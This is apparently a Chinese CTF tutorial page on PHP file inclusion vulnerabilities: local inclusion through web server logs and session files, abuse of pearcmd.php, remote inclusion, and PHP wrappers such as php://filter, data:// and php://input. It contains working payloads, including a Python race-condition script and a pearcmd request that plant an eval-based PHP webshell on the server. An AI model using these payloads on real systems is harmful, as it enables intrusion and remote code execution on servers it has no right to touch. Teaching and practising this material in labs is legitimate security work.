目录

文件包含

# 文件包含

include主要用于包含和执行另一个 PHP 文件的代码。include 会将被包含文件的内容插入到调用它的文件中,并在那个位置执行

<?php
include 'header.php';
?>

<h1>欢迎来到我的网站</h1>

<?php
include 'footer.php';
?>
1
2
3
4
5
6
7
8
9

include('1.txt') 将尝试包含并执行 1.txt 文件中的所有内容。如果 1.txt 中包含的是PHP代码,则该代码将在当前页面被解析为PHP执行。如果文件中包含的是普通文本,那么这段文本将显示到屏幕上,因为 include() 在处理纯文本文件时会直接输出文件内容,不局限于txt文件,图片马,含有php代码的文件理论都可以试试。

文件包含又分为本地包含,远程文件包含(需要在php.ini打开allow_url_include)

  • 本地包含可以访问服务器端的文件,例如flag,日志,图片马
  • 远程文件包含可以在远程自己的vps写一个php代码的txt文件

# include

include,require等都可以包含文件

include 'filename';
include('filename');
require 'filename';
require('filename');
1
2
3
4

include是php的语言结构,include()是PHP的函数,都可以包含文件

'filename' 是要包含的文件的路径和名称

# 文件操作函数

常见的文件包含函数如下1 include 2 require 3 include_once 4 require_once 5 highlight_file 6 show_source 7 file 8 readfile 9 file_get_contents 10 file_put_contents 11 fopen 将一个文件的内容包含到另一个文件 ,在文件包含时可以搭配使用php伪协议打一套组合拳

# 本地文件包含

# 日志包含

本地文件包含常配合文件上传,图片马,日志包含等进行利用,文件上传在这里省略,讲一下日志包含

访问日志(access.log):

Nginx
默认的日志文件目录通常位于/var/log/nginx/access.log

Apache

  • 对于Ubuntu/Debian系统,通常位于/var/log/apache2/access.log
  • 对于CentOS/RHEL系统,通常位于/var/log/httpd/access_log

在f12浏览器调试下,可以看到服务器类型,ctfshow中靶机是nginx

nginx日志文件目录/var/log/nginx/access.log,对于当前网页的相对路径不确定,用../试试,../../../三级时可以访问到日志文件,使用post在报文的UA值中写入一句话木马,或phpinfo函数,试试看能否写入日志文件

# session包含

参考 (opens new window)

session是网站web的一个无后缀文件,当开启session时,服务器会在临时目录下创建session文件来保存会话信息,文件名格式为sess_PHPSESSID。一般的linux会将session保存在其中的某一个目录下:

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
1
2
3
4

一般在/tmp目录下

用户可以自定义创建session,实现session文件包含----条件竞争脚本

import io
import requests
import threading

url = '替换url'
sessionid = 'hacker'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':"<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url+'?file=/tmp/sess_'+sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ;

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# pear文件包含

引入P牛师傅原话

提示

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事

先包含pear文件,利用php的命令行参数config-create写文件,所以payload:

payload里存在&,+等特殊字符,直接使用hackbar发包会被编码失去原意,导致执行失败,所以要使用bp发包

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=highlight_file(__FILE__);eval($_POST[1]);?>+/tmp/11
1

再包含目录文件/tmp/11,完成利用

# 远程文件包含

在php.ini配置文件中打开allow_url_include时,可以将远程恶意文件包含在服务器端执行

例如

漏洞代码

<?php
$url=$_GET['url'];
include$url;
?>
1
2
3
4

测试文件

<?php
phpinfo();
?>
1
2
3

当攻击者在http://a.com/1.txt写入php代码时,使用GET传参控制?url=http://a.com/1.txt,那么服务器端将执行1.txt中的php代码

# PHP伪协议

# 常用php伪协议

PHP 伪协议是一种特殊的 PHP 特性,允许在 PHP 中通过类似 URL 的方式来访问各种资源,如文件、数据流等

  • file://: 允许 PHP 访问本地文件系统中的文件
  • http:// 或 https://: 允许 PHP 通过 HTTP 或 HTTPS 协议访问远程服务器上的资源
  • ftp://: 允许 PHP 通过 FTP 协议访问远程 FTP 服务器上的文件。
  • php://: 提供了访问各种输入输出流的方式
  • data://: 允许在 PHP 中直接使用数据 URI,将数据嵌入到 URL 中

# php://filter/

payload1:url?c=include$_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

# 拆分理解

php://filter作用将数据,文件内容封装起来

convert数据编码转换器,不进行编码的话,flag.php会作为php文件运行,无法看到文件内容

base64-encode使用base64的编码格式打印出来

highlight_file($_GET['cmd']),也可以利用伪协议读文件

根据这张图,还可以再延申出几种方式

一些编码格式

  • php://filter/convert.base64-encode/resource=1.php
  • php://filter/string.rot13/resource=1.php
  • php://filter//convert.iconv.SJIS*.UCS-4*/resource=1.php

# data://

注意:data:text/plain,php://input等伪协议需要在php.ini配置文件中打开allow_url_fopen,allow_url_include这两项

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data:text/plain流中如果有PHP代码,将会被当作php正常执行。

两种形式

data://text/plain在 PHP 中可用于打开文本数据流,而data:text/plain则是在 URL 中表示纯文本数据的 MIME 类型。

可以直接逗号,加php代码,也可以分号;base64编码混淆一下

用法:

url?c=include$_GET[1];&1=data:text/plain,<?php phpinfo();?>
url?c=include$_GET[1];&1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1
2

# php://input

可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

payload3:url?c=include$_GET[1];&1=php://input

POST:

echo'hello';
1
最后一次更新于: 2024/11/03, 22:43:26